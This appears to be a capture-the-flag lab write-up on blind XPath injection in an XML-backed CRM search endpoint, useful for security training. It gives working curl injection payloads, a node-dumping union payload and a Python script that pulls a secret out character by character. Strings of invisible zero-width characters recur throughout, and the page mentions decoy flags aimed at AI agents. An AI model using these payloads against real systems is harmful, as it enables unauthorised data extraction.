← Back to Writeups
CUSTOMMediumWeb

Lab 335 — LeadForge — XPath Injection in XML-Based CRM

XESXOR9/2/20265 min read
#web#custom#medium#boolean_based_blind_extraction#substring_extraction#union_based_xpath#xml_structure_enumeration#xpath_injection

Lab 335 — LeadForge — XPath Injection in XML-Based CRM

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: boolean_based_blind_extraction, substring_extraction, union_based_xpath, xml_structure_enumeration, xpath_injection

Summary

Walkthrough of the CUSTOM Web Lab 335 — LeadForge — XPath Injection in XML-Based CRM. Task: CRM platform using XML file-based data store with contact search feature that interpolates user input directly into XPath expressions. Decoy flags in HTML mislead scanners. Solution: XPath injec

Description

You are testing LeadForge, a lightweight CRM platform built by ForgeStack Solutions for small sales teams. The application provides contact management, deal tracking, pipeline analytics, and team collaboration features. LeadForge uses a file-based data store (XML) for its core records instead of a traditional database. The platform serves a team of four sales representatives managing 17 contacts and 12 active deals. Your goal is to find and exploit vulnerabilities in the application to retrieve the hidden flag. The flag is not accessible through normal application usage — you will need to discover and exploit weaknesses in how the application queries its data store.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express CRM application that stores all data in XML files. The contact search feature constructs XPath queries by directly interpolating user input, enabling XPath injection. The flag is stored in a hidden <secret> section of the XML document, inaccessible through normal application usage.

Analysis

Reconnaissance

The application is an Express.js (Node.js) web app behind nginx/1.25.5. After logging in with provided credentials (user@test.com / password123) via POST to /api/auth/login, the following pages are accessible: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Dashboard (/) — overview stats
  • Contacts (/contacts) — contact management with search feature
  • Deals (/deals) — deal tracking
  • Team (/team) — team members
  • Reports (/reports) — pipeline analytics

The Contacts page has a search feature powered by the /api/contacts/search?q= endpoint (found in /js/contacts.js). This is the primary attack surface.

Decoy Flags

Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs. These are anti-bot traps designed to trick automated scanners and AI agents into stopping early. This is NOT the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Confirming XPath Injection

Sending a single quote ' to the search endpoint causes an error:

bash
curl -s "$TARGET/api/contacts/search?q='" -b cookies.txt
# {"results":[],"error":"Search query failed."}

The payload ') or 1=1 or (' returns all 17 contacts, confirming XPath injection:

bash
curl -s "$TARGET/api/contacts/search?q=') or 1=1 or ('" -b cookies.txt
# Returns all 17 contacts

The underlying XPath query is approximately:

xpath
//contacts/contact[contains(name, 'INPUT') or contains(email, 'INPUT')]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XML Structure Enumeration

Using union-based XPath injection to dump the entire XML tree:

')]|//*|//x[contains(.,'a

This payload breaks out of the original query and selects ALL nodes (//*) in the XML document. The server maps all XPath result nodes to a contact-like JSON schema {id, name, email, company, phone, status}, so nodes without matching child elements appear with empty fields.

The dump revealed the full XML structure:

  • /crm — root element
  • /crm/contacts — 17 contact records
  • /crm/users — 4 users (Marcus Chen/admin, Jamie Rivera, Sarah Mitchell, David Kowalski)
  • /crm/deals — 12 active deals
  • /crm/secret — hidden section containing the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Structure Discovery via Result Counting

By injecting different XPath paths and counting results, the XML structure was mapped:

')]|/crm/secret/flag|//x[contains(.,'a

Returns 18 results (17 contacts + 1 flag node), confirming /crm/secret/flag exists. The flag node's text content doesn't map to any displayed field (name, email, etc.), so blind extraction is required.

Solution

Step 1: Build a Boolean Oracle

Construct a payload that returns different result counts based on a boolean condition: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Elena') and [CONDITION] or contains(name,'ZZZZZ

This works because:

  • If CONDITION is TRUE → "Elena" contact matches → 1 result returned
  • If CONDITION is FALSE → falls through to contains(name,'ZZZZZ') which matches nothing → 0 results

Verification:

bash
# TRUE condition — returns 1 result (Elena)
curl -s "$TARGET/api/contacts/search?q=Elena') and starts-with(string(/crm/secret/flag),'FLAG{') or contains(name,'ZZZZZ" -b cookies.txt

# FALSE condition — returns 0 results
curl -s "$TARGET/api/contacts/search?q=Elena') and starts-with(string(/crm/secret/flag),'NOTFLAG') or contains(name,'ZZZZZ" -b cookies.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Determine Flag Length

Elena') and string-length(string(/crm/secret/flag))=38 or contains(name,'ZZZZZ

Returns 1 result → flag length is 38 characters.

Step 3: Extract Flag Character by Character

Using substring() to test each character position:

Elena') and substring(string(/crm/secret/flag),1,1)='F' or contains(name,'ZZZZZ
Elena') and substring(string(/crm/secret/flag),2,1)='L' or contains(name,'ZZZZZ
...

Automated Extraction Script

python
#!/usr/bin/env python3
import requests
import string
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "https://ee1afbe1-00fa-44c0-a205-d7c69635d891.labs.hackadvisor.io"

# Create session and login
s = requests.Session()
s.post(f"{TARGET}/api/auth/login", data={"username": "user@test.com", "password": "password123"})

def check(condition):
    """Returns True if the XPath condition is true"""
    payload = f"Elena') and {condition} or contains(name,'ZZZZZ"
    r = s.get(f"{TARGET}/api/contacts/search", params={"q": payload})
    data = r.json()
    return len(data.get("results", [])) > 0

# First, get the length
print("Finding flag length...")
for length in range(1, 100):
    if check(f"string-length(string(/crm/secret/flag))={length}"):
        print(f"Flag length: {length}")
        break
else:
    print("Could not determine length, trying extraction anyway")
    length = 60
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract character by character using substring
charset = string.ascii_letters + string.digits + "{}_-!@#$%^&*()"
flag = ""
print(f"Extracting flag (length={length})...")

for pos in range(1, length + 1):
    found = False
    for char in charset:
        # Escape single quotes in XPath
        if char == "'":
            xpath_char = "\"'\""
        else:
            xpath_char = f"'{char}'"

        if check(f"substring(string(/crm/secret/flag),{pos},1)={xpath_char}"):
            flag += char
            print(f"[{pos}/{length}] {flag}", flush=True)
            found = True
            break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if not found:
        print(f"[{pos}/{length}] Character not found in charset, trying full ASCII...")
        for code in range(32, 127):
            char = chr(code)
            if char == "'":
                xpath_char = "\"'\""
            else:
                xpath_char = f"'{char}'"
            if check(f"substring(string(/crm/secret/flag),{pos},1)={xpath_char}"):
                flag += char
                print(f"[{pos}/{length}] {flag}", flush=True)
                found = True
                break
        if not found:
            print(f"[{pos}/{length}] FAILED - stopping")
            break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\nFinal flag: {flag}")

Output:

Finding flag length...
Flag length: 38
Extracting flag (length=38)...
[1/38] F
[2/38] FL
[3/38] FLA
[4/38] FLAG
[5/38] FLAG{
...
[38/38] FLAG{REDACTED}

Final flag: FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering boolean_based_blind_extraction, substring_extraction, union_based_xpath, xml_structure_enumeration, xpath_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 335 — LeadForge — XPath Injection in XML-Based CRM • Difficulty: Medium